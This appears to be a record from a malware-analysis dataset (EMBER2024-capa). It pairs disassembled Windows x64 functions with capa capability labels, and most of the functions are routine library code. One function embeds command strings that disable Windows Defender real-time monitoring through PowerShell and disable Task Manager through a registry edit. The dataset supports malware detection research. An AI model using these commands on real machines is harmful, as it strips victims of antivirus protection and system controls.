joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003350
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140008010]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140003423
cmp byte [rcx + 0x71], 0
je 0x140003423
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14000341f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400033e4
sub eax, 1
je 0x1400033e8
cmp eax, 2
jne 0x14000341f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400037e0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140003416
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14000341f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x1400033cc
xor al, al
jmp 0x1400033cc
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400037e0
add rsp, 0x60
pop rbx
ret

Function at 0x140004174
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400041be
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400041be
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400041be
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400041be
cmp dword [rcx + 0x84], 0xe
jbe 0x1400041be
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400041c0
xor al, al
add rsp, 0x28
ret
Function at 0x14012cce0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x60
mov rax, qword [0x1403ffe78]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov rsi, rdx
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea r14, [0x140405ac0]
mov qword [rsp + 0x30], r14
xorps xmm0, xmm0
movdqa xmmword [0x140405ac0], xmm0
xorps xmm1, xmm1
movdqa xmmword [0x140405ad0], xmm1
mov ecx, reloc.WS2_32.dll_recv
call fcn.140139a70
xor ebp, ebp
mov qword [rax + 8], rbp
mov qword [0x140405ac0], rax
mov qword [rax], r14
lea rbx, [0x140405ae0]
xorps xmm0, xmm0
movdqa xmmword [0x140405ae0], xmm0
mov qword [0x140405af0], rbp
mov qword [0x140405af8], rbp
mov qword [0x140405b00], rbp
lea ecx, [rbp + 0x10]
call fcn.140139a70
mov qword [rax + 8], rbp
mov qword [0x140405ae0], rax
mov qword [rax], rbx
lea edx, [rbp + 2]
lea rcx, [0x140405b08]
call fcn.1402ac2e0
nop
lea rcx, [0x140405b58]
call fcn.1402a8be0
nop
mov byte [0x140405ba0], bpl
mov edi, ebp
test rsi, rsi
je 0x14012ceae
mov rbx, qword [0x140405ad0]
nop word [rax + rax]
mov qword [rsp + 0x40], r14
cmp rbx, qword [0x140405ad8]
je 0x14012ce8e
mov ecx, 8
call fcn.1402adbb0
mov qword [rax], r14
mov qword [rsp + 0x40], rax
lea rcx, [rbx + 8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebp
mov r9, rax
lea r8, [0x14013b910]
xor edx, edx
xor ecx, ecx
call fcn.1402bd0a0
mov qword [rbx], rax
test rax, rax
je 0x14012ced9
mov rbx, qword [0x140405ad0]
mov edx, 3
lea rcx, [rsp + 0x48]
call fcn.1402aa230
mov rdx, qword [0x140405ac0]
add rdx, 8
mov rax, qword [rdx]
test rax, rax
je 0x14012ce70
nop dword [rax]
cmp qword [rax + 0x10], rbx
jb 0x14012ce64
ja 0x14012ce64
mov qword [rax], rbp
mov rax, qword [rax + 8]
mov qword [rdx], rax
jmp 0x14012ce6b
lea rdx, [rax + 8]
mov rax, qword [rdx]
test rax, rax
jne 0x14012ce50
lea rcx, [rsp + 0x48]
call fcn.1402aa310
mov rbx, qword [0x140405ad0]
add rbx, 0x10
mov qword [0x140405ad0], rbx
jmp 0x14012cea2
lea r8, [rsp + 0x40]
mov rdx, rbx
call fcn.140138520
mov rbx, qword [0x140405ad0]
inc rdi
cmp rdi, rsi
jb 0x14012cdd0
mov rax, r14
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1402adb70
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
mov dword [rbx + 8], ebp
mov ecx, 6
call fcn.1402aa4e0
int3
Function at 0x14012e7a0
Capabilities:
Disable system features via registry on windows
Execute command
Set registry value

Disassembly:
sub rsp, 0x28
lea rcx, str.powershell.exe__C_Set_MpPreference__DisableRealtimeMonitoring__true__
call fcn.1402ced68
lea rcx, str.REG_add_HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem__v_DisableTaskMgr__t_REG_DWORD__d_1__f
call fcn.1402ced68
lea rdx, str.Im_in_tof
lea rcx, [0x140403650]
call fcn.1401387e0
mov rcx, rax
add rsp, 0x28
jmp fcn.140138a50
Function at 0x140132100
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x140132122
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x14013219c
mov rdi, r14
mov rcx, rbx
call fcn.140135c40
test rax, rax
jle 0x140132174
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.1402b14f0
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x14013218c
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.WS2_32.dll_getservbyport]
cmp eax, 0xffffffff
je 0x140132194
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x140132136
sub r14, rdi
jmp 0x140132289
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x1401321b3
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1401321b5
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1401321ea
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.1402b14f0
mov rax, qword [rbx + 0x50]
sub rbp, rdi
add rsi, rdi
mov r8, rbp
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x140132286
mov r9, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r9], rax
jne 0x140132225
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r9], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rdi, r8
cmp r8, 0xfff
jbe 0x140132261
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.1402d1720
sub rbp, rax
add rsi, rax
mov rdi, rbp
cmp rax, 0xfff
jne 0x14013229f
cmp rbp, rax
ja 0x140132231
mov r8, rdi
test rdi, rdi
je 0x140132286
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.1402d1720
mov r8, rdi
sub r8, rax
sub r14, r8
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
sub r14, rbp
jmp 0x140132289
Function at 0x1401326f0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x1403ffe78]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14013271d
xor eax, eax
jmp 0x140132863
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140132757
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140132757
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140132863
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140132856
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14013279a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1401327a9
movsx ecx, dil
jmp 0x1401327fd
lea r8, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rsp + 0x51]
lea r8, [rsp + 0x78]
mov qword [rsp + 0x30], r8
lea r8, [rsp + 0x58]
mov qword [rsp + 0x28], r8
lea r8, [rsp + 0x48]
mov qword [rsp + 0x20], r8
lea r8, [rsp + 0x50]
call qword [rax + reloc.WS2_32.dll_getservbyport]
test eax, eax
je 0x140132817
sub eax, 1
je 0x140132817
cmp eax, 2
jne 0x140132856
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call fcn.1402bace0
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14013285b
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140132844
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call fcn.1402cfd00
cmp rsi, rax
jne 0x140132856
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov eax, edi
jne 0x14013285b
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1402adb70
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140138520
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov rax, qword [0x1403ffe78]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov r12, r8
mov rbx, rdx
mov rsi, rdx
mov rdx, qword [0x140405ac8]
sub rsi, rdx
mov rax, qword [0x140405ad0]
sub rax, rdx
sar rax, 4
movabs r8, 0xfffffffffffffff
cmp rax, r8
je 0x1401387bf
lea r15, [rax + 1]
mov rcx, qword [0x140405ad8]
sub rcx, rdx
sar rcx, 4
mov rdx, rcx
shr rdx, 1
mov rax, r8
sub rax, rdx
cmp rcx, rax
jbe 0x14013865e
mov r14, r8
mov qword [rsp + 0x40], r8
shl r14, 4
mov rcx, r14
call fcn.140139a70
mov rdi, rax
mov qword [rsp + 0x38], rax
and rsi, 0xfffffffffffffff0
lea r13, [rsi + rax]
lea rsi, [r13 + 0x10]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x48], rsi
mov ecx, 8
call fcn.1402adbb0
mov r9, rax
mov rax, qword [r12]
mov qword [r9], rax
mov qword [rsp + 0x50], r9
lea r12, [r13 + 8]
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 0
lea r8, [0x14013b910]
xor edx, edx
xor ecx, ecx
call fcn.1402bd0a0
mov qword [r13], rax
test rax, rax
je 0x1401387ac
mov qword [rsp + 0x48], r13
mov rcx, qword [0x140405ad0]
mov rax, qword [0x140405ac8]
mov rdx, rdi
cmp rbx, rcx
jne 0x14013867f
cmp rax, rcx
je 0x1401386e0
nop
xorps xmm0, xmm0
movups xmm1, xmmword [rax]
movups xmmword [rax], xmm0
movups xmmword [rdx], xmm1
lea rdx, [rdx + 0x10]
add rax, 0x10
cmp rax, rcx
jne 0x140138640
jmp 0x1401386e0
lea rax, [rdx + rcx]
mov r14, r15
cmp rax, r15
cmovae r14, rax
mov qword [rsp + 0x40], r14
cmp r14, r8
ja 0x1401387c5
jmp 0x1401385a9
cmp rax, rbx
je 0x1401386b0
nop dword [rax]
nop dword [rax + rax]
xorps xmm0, xmm0
movups xmm1, xmmword [rax]
movups xmmword [rax], xmm0
movups xmmword [rdx], xmm1
lea rdx, [rdx + 0x10]
add rax, 0x10
cmp rax, rbx
jne 0x140138690
mov rcx, qword [0x140405ad0]
mov qword [rsp + 0x48], rdi
cmp rbx, rcx
je 0x1401386e0
sub rsi, rbx
nop dword [rax]
xorps xmm0, xmm0
movups xmm1, xmmword [rbx]
movups xmmword [rbx], xmm0
movups xmmword [rbx + rsi], xmm1
add rbx, 0x10
cmp rbx, rcx
jne 0x1401386c0
nop word [rax + rax]
lea rcx, [0x140405ac0]
call fcn.14012a210
mov rcx, qword [0x140405ac8]
test rcx, rcx
je 0x140138762
mov rdx, qword [0x140405ad0]
mov rax, rcx
cmp rcx, rdx
je 0x140138723
nop word [rax + rax]
cmp dword [rax + 8], 0
jne 0x1401387cb
add rax, 0x10
cmp rax, rdx
jne 0x140138710
mov rdx, qword [0x140405ad8]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x40], rcx
cmp rdx, 0x1000
jb 0x14013875d
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x40]
call fcn.140129f90
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call fcn.1402ae2e0
mov qword [0x140405ac8], rdi
shl r15, 4
add r15, rdi
mov qword [0x140405ad0], r15
lea rcx, [r14 + rdi]
mov qword [0x140405ad8], rcx
mov rax, r13
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1402adb70
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov dword [r12], 0
mov ecx, 6
call fcn.1402aa4e0
nop
call fcn.14013a030
int3
call fcn.140129ef0
int3
call fcn.1402cef10
int3
Function at 0x14013b1b0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r10, rcx
mov r9d, 0x270
mov ecx, dword [rcx]
cmp ecx, r9d
jne 0x14013b211
lea r8, [r10 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r9, 1
jne 0x14013b1d0
mov ecx, dword [r10]
jmp 0x14013b2fa
cmp ecx, 0x4e0
jb 0x14013b2fa
lea r11, [r10 + 0x9c4]
mov qword [rsp], rbx
mov eax, dword [r11]
mov ebx, 0xe3
mov edx, dword [r11 + 4]
lea r8, [r11 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 + 0x634]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x14013b230
lea r11, [r10 + 0xd50]
mov ebx, 0x18c
mov eax, dword [r11]
nop dword [rax + rax]
mov edx, eax
lea r8, [r11 + 4]
xor edx, dword [r8]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 - 0xd4c]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x14013b280
mov edx, dword [r10 + 0x1380]
xor edx, dword [r10 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, dword [r10 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x634]
xor ecx, edx
mov dword [r10 + 0x9c0], ecx
xor ecx, ecx
mov dword [r10], ecx
mov eax, ecx
mov edx, dword [r10 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r10], eax
mov ecx, edx
mov eax, dword [r10 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret

Function at 0x14013f2e0
Capabilities:
Set thread local storage value

Disassembly:
mov eax, 0x28
call fcn.1402ae840
sub rsp, rax
mov ecx, dword [rcx]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
xor ecx, ecx
test eax, eax
setne cl
mov eax, ecx
add rsp, 0x28
ret
Function at 0x140145e60
Capabilities:
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
mov eax, gethostbyaddr
call fcn.1402ae840
sub rsp, rax
lea edx, [rax - 0x2f]
mov rbx, rcx
call fcn.140145a50
mov rdx, rax
mov rcx, rbx
mov rbp, rax
call fcn.140145920
xor edi, edi
mov r14, rax
test rax, rax
je 0x140145f07
lea r9d, [rdi + 1]
mov dword [rsp + 0x20], 0xf0000040
xor r8d, r8d
lea rcx, [rsp + 0x58]
xor edx, edx
mov esi, edi
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140145ee3
mov rcx, qword [rsp + 0x58]
mov r8, r14
mov edx, ebp
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0x58]
test eax, eax
cmovne rsi, rbp
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
lea r8, [rsi*8]
mov rdx, rsi
mov rcx, rbx
call fcn.1401459d0
mov rcx, rbx
call fcn.140145b80
test rax, rax
jne 0x140145f9b
mov edx, 1
mov rcx, rbx
call fcn.140145a50
mov rdx, rax
mov rcx, rbx
mov rsi, rax
call fcn.140145920
mov rbp, rax
test rax, rax
je 0x140145f93
mov r9d, reloc.WS2_32.dll_shutdown
mov dword [rsp + 0x20], 0xf0000040
lea r8, str.Intel_Hardware_Cryptographic_Service_Provider
xor edx, edx
lea rcx, [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140145f73
mov rcx, qword [rsp + 0x58]
mov r8, rbp
mov edx, esi
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0x58]
test eax, eax
cmovne rdi, rsi
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
lea r8, [rdi*8]
mov rdx, rdi
mov rcx, rbx
call fcn.1401459d0
mov rcx, rbx
call fcn.140145b80
test rax, rax
jne 0x140145f9b
mov rcx, rbx
call fcn.140145b80
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
Function at 0x140161e40
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov r11, rdx
movsxd rdi, r9d
lea rsi, [rcx - 1]
mov r10, r8
not rcx
shr rsi, 0x3f
shr rcx, 0x3f
and rsi, rcx
mov ecx, dword [rdx + 8]
xor ecx, dword [r8 + 8]
dec rsi
and ecx, esi
xor dword [rdx + 8], ecx
xor dword [r8 + 8], ecx
mov edx, dword [rdx + 0x10]
movq xmm4, rsi
xor edx, dword [r8 + 0x10]
and edx, esi
punpcklqdq xmm4, xmm4
xor dword [r11 + 0x10], edx
xor dword [r8 + 0x10], edx
mov ecx, dword [r11 + 0x14]
mov edx, ecx
mov eax, dword [r8 + 0x14]
xor rdx, rax
and edx, 4
and rdx, rsi
mov eax, edx
xor eax, ecx
xor ecx, ecx
mov dword [r11 + 0x14], eax
xor dword [r8 + 0x14], edx
mov edx, ecx
test r9d, r9d
jle 0x140161f5d
cmp edi, 2
jb 0x140161f5d
mov r9, qword [r8]
lea rax, [rdi - 1]
mov r8, qword [r11]
lea rbx, [rdi - 1]
lea rbx, [r9 + rbx*8]
lea rax, [r8 + rax*8]
cmp r9, rax
ja 0x140161eec
cmp rbx, r8
jae 0x140161f5d
cmp r9, r10
ja 0x140161ef6
cmp rbx, r10
jae 0x140161f5d
cmp r9, r11
ja 0x140161f00
cmp rbx, r11
jae 0x140161f5d
cmp r8, r10
ja 0x140161f0a
cmp rax, r10
jae 0x140161f5d
cmp r8, r11
ja 0x140161f14
cmp rax, r11
jae 0x140161f5d
mov eax, edi
and eax, 0xfffffffe
nop dword [rax]
movdqu xmm2, xmmword [rcx + r9]
add edx, 2
movdqu xmm1, xmmword [rcx + r8]
lea rcx, [rcx + 0x10]
movdqa xmm3, xmm2
pxor xmm3, xmm1
pand xmm3, xmm4
movdqa xmm0, xmm3
pxor xmm3, xmm2
pxor xmm0, xmm1
movdqu xmmword [rcx + r8 - 0x10], xmm0
movdqu xmmword [rcx + r9 - 0x10], xmm3
cmp edx, eax
jl 0x140161f20
movsxd rax, edx
cmp rax, rdi
jge 0x140161f9d
nop word [rax + rax]
mov rcx, qword [r11]
mov rdx, qword [rcx + rax*8]
lea r8, [rcx + rax*8]
mov rcx, qword [r10]
mov r9, rdx
xor r9, qword [rcx + rax*8]
and r9, rsi
xor rdx, r9
mov qword [r8], rdx
mov rcx, qword [r10]
xor qword [rcx + rax*8], r9
inc rax
cmp rax, rdi
jl 0x140161f70
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret

Function at 0x140165df0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
xor eax, eax
mov r10, rcx
test rcx, rcx
je 0x140165e5c
movzx ecx, byte [rcx]
test cl, cl
je 0x140165e5c
mov r11d, 0x100
nop word [rax + rax]
movsx r9d, cl
lea r10, [r10 + 1]
or r9d, r11d
mov r8d, eax
mov edx, r9d
mov ecx, 0x20
shr edx, 2
add r11d, 0x100
xor edx, r9d
imul r9d, r9d
and edx, 0xf
sub ecx, edx
shr r8, cl
mov ecx, edx
mov edx, eax
mov eax, r8d
shl edx, cl
movzx ecx, byte [r10]
or eax, edx
xor eax, r9d
test cl, cl
jne 0x140165e10
mov ecx, eax
shr ecx, 0x10
xor eax, ecx
ret
Function at 0x140165e60
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
xor eax, eax
mov r10, rcx
test rcx, rcx
je 0x140165ed0
movzx ecx, byte [rcx]
test cl, cl
je 0x140165ed0
mov r11d, 0x100
nop word [rax + rax]
movsx r9d, cl
lea r10, [r10 + 1]
mov r8d, eax
and r9d, 0xffffffdf
or r9d, r11d
mov ecx, 0x20
mov edx, r9d
add r11d, 0x100
shr edx, 2
xor edx, r9d
imul r9d, r9d
and edx, 0xf
sub ecx, edx
shr r8, cl
mov ecx, edx
mov edx, eax
mov eax, r8d
shl edx, cl
movzx ecx, byte [r10]
or eax, edx
xor eax, r9d
test cl, cl
jne 0x140165e80
mov ecx, eax
shr ecx, 0x10
xor eax, ecx
ret
Function at 0x14016a160
Capabilities:
Initialize winsock library

Disassembly:
mov eax, 0x28
call fcn.1402ae840
sub rsp, rax
cmp dword [0x140401dd0], 0
jne 0x14016a21a
xor edx, edx
mov dword [0x140401dd0], 1
mov r8d, 0x198
lea rcx, [0x140401de0]
call fcn.1402b1ba0
mov ecx, 0x202
lea rdx, [0x140401de0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14016a21a
call fcn.140140b30
lea r8, str.BIO_sock_init
mov edx, 0x99
lea rcx, str.crypto_bio_bio_sock.c
call fcn.140140c50
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea r8, str.calling_wsastartup__
mov ecx, 2
mov edx, eax
call fcn.140140d90
call fcn.140140b30
lea r8, str.BIO_sock_init
mov edx, 0x9b
lea rcx, str.crypto_bio_bio_sock.c
call fcn.140140c50
xor r8d, r8d
lea edx, [r8 + 0x7a]
lea ecx, [rdx - 0x5a]
call fcn.140140d90
mov eax, 0xffffffff
add rsp, 0x28
ret
mov eax, 1
add rsp, 0x28
ret

Function at 0x14016a230
Capabilities:
Set socket configuration

Disassembly:
push rbx
mov eax, 0x20
call fcn.1402ae840
sub rsp, rax
mov dword [rsp + 0x30], edx
lea r8, [rsp + 0x30]
mov edx, 0x8004667e
movsxd rcx, ecx
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov ebx, eax
test eax, eax
jns 0x14016a292
call fcn.140140b30
lea r8, str.BIO_socket_ioctl
mov edx, 0xf7
lea rcx, str.crypto_bio_bio_sock.c
call fcn.140140c50
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea r8, str.calling_ioctlsocket__
mov ecx, 2
mov edx, eax
call fcn.140140d90
xor eax, eax
test ebx, ebx
sete al
add rsp, 0x20
pop rbx
ret

Function at 0x14016a2a0
Capabilities:
Get socket status

Disassembly:
push rbx
push rsi
push rdi
mov eax, 0x260
call fcn.1402ae840
sub rsp, rax
mov rax, qword [0x1403ffe78]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov edi, ecx
mov rbx, r8
mov esi, edx
cmp ecx, 0x3f
ja 0x14016a332
test rbx, rbx
jne 0x14016a2da
lea eax, [r8 + 1]
jmp 0x14016a337
xor ecx, ecx
call fcn.1402d30b0
mov rcx, rax
cmp rbx, rax
jge 0x14016a2ed
xor eax, eax
jmp 0x14016a337
xor eax, eax
mov qword [rsp + 0x48], rdi
sub ebx, ecx
mov dword [rsp + 0x34], eax
test esi, esi
mov dword [rsp + 0x40], 1
lea r8, [rsp + 0x40]
mov dword [rsp + 0x30], ebx
cmovne r8, rax
lea rdx, [rsp + 0x40]
cmove rdx, rax
lea ecx, [rdi + 1]
lea rax, [rsp + 0x30]
xor r9d, r9d
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_select]
jmp 0x14016a337
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.1402adb70
add rsp, 0x260
pop rdi
pop rsi
pop rbx
ret
Function at 0x14016b080
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
mov eax, 0x280
call fcn.1402ae840
sub rsp, rax
mov rax, qword [0x1403ffe78]
xor rax, rsp
mov qword [rsp + 0x270], rax
cmp dword [0x140401f80], 0
lea rax, [0x14016a9f0]
mov qword [rsp + 0x28], rax
lea rbx, str.getaddrinfo
lea rax, str.getnameinfo
movzx ebp, cx
mov qword [rsp + 0x30], rax
lea rax, [0x14016ae40]
mov qword [rsp + 0x38], rax
lea rax, str.freeaddrinfo
mov qword [rsp + 0x40], rax
lea rax, [0x14016a990]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x20], rbx
jne 0x14016b259
mov edx, 0x104
lea rcx, [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x14016b24f
lea r8, [rsp + 0x160]
mov qword [rsp + 0x290], rsi
mov edx, 0x10c
lea rcx, [rsp + 0x50]
call fcn.1402d9a30
lea r8, str.ws2_32
mov edx, 0x10c
lea rcx, [rsp + 0x50]
call fcn.1402da0d0
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x14016b17a
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x14016b1da
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea r8, [rsp + 0x160]
mov edx, 0x10c
lea rcx, [rsp + 0x50]
call fcn.1402d9a30
lea r8, str.wship6
mov edx, 0x10c
lea rcx, [rsp + 0x50]
call fcn.1402da0d0
